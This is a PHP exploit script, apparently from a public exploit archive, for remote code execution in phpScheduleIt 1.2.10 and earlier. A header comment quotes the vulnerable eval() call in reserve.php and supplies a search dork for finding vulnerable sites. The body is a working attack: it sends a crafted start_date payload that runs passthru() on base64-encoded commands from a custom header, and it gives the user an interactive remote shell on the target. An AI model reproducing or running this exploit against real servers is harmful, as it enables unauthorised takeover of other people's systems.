<?php

/*
  -------------------------------------------------------------------
  phpScheduleIt <= 1.2.10 (reserve.php) Remote Code Execution Exploit
  -------------------------------------------------------------------
  
  author...: EgiX
  mail.....: n0b0d13s[at]gmail[dot]com
  
  link.....: http://phpscheduleit.sourceforge.net/
  dork.....: inurl:roschedule.php
  details..: works with magic_quotes_gpc = off
  
  [-] vulnerable code in /reserve.php
  
  51.  if (isset($_POST['btnSubmit']) && strstr($_SERVER['HTTP_REFERER'], $_SERVER['PHP_SELF'])) {
  52.    $t->set_title(translate("Processing $Class"));
  53.    $t->printHTMLHeader();
  54.    $t->startMain();
  55.  
  56.    process_reservation($_POST['fn']);
  57.  }
  58.  else {
  59.    $res_info = getResInfo();
  60.    $t->set_title($res_info['title']);
  61.    $t->printHTMLHeader();
  62.       $t->startMain();
  63.       present_reservation($res_info['resid']);
  64.  }

  [...]
  
  79.  function process_reservation($fn) {
  80.    $success = false;
  81.    global $Class;
  82.    $is_pending = (isset($_POST['pending']) && $_POST['pending']);
  83.  
  84.    if (isset($_POST['start_date'])) {      // Parse the POST-ed starting and ending dates
  85.      $start_date = eval('return mktime(0,0,0, \'' . str_replace(INTERNAL_DATE_SEPERATOR, '\',\'', $_POST['start_date']) . '\');');
  86.      $end_date = eval('return mktime(0,0,0, \'' . str_replace(INTERNAL_DATE_SEPERATOR, '\',\'', $_POST['end_date']) . '\');');
  87.    }
  
  An attacker might be able to inject and execute PHP code through $_POST['start_date'], that is passed to eval() at line 85
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

define(STDIN, fopen("php://stdin", "r"));

function http_send($host, $packet)
{
  $sock = fsockopen($host, 80);
  while (!$sock)
  {
    print "\n[-] No response from {$host}:80 Trying again...";
    $sock = fsockopen($host, 80);
  }
  fputs($sock, $packet);
  while (!feof($sock)) $resp .= fread($sock, 1024);
  fclose($sock);
  return $resp;
}

print "\n+---------------------------------------------------------------+";
print "\n| phpScheduleIt <= 1.2.10 Remote Code Execution Exploit by EgiX |";
print "\n+---------------------------------------------------------------+\n";

if ($argc < 3)
{
  print "\nUsage......: php $argv[0] host path\n";
  print "\nExample....: php $argv[0] localhost /";
  print "\nExample....: php $argv[0] localhost /phpscheduleit/\n";
  die();
}

$host = $argv[1];
$path = $argv[2];

$payload = "btnSubmit=1&start_date=1').\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${die};%%23";
$packet  = "POST {$path}reserve.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Referer: {$path}reserve.php\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Content-Length: ".(strlen($payload)-1)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;

while(1)
{
  print "\nphpscheduleit-shell# ";
  $cmd = trim(fgets(STDIN));
  if ($cmd != "exit")
  {
    $html  = http_send($host, sprintf($packet, base64_encode($cmd)));
    $shell = explode("_code_", $html);
    preg_match("/_code_/", $html) ? print "\n{$shell[1]}" : die("\n[-] Exploit failed...\n");
  }
  else break;
}

?>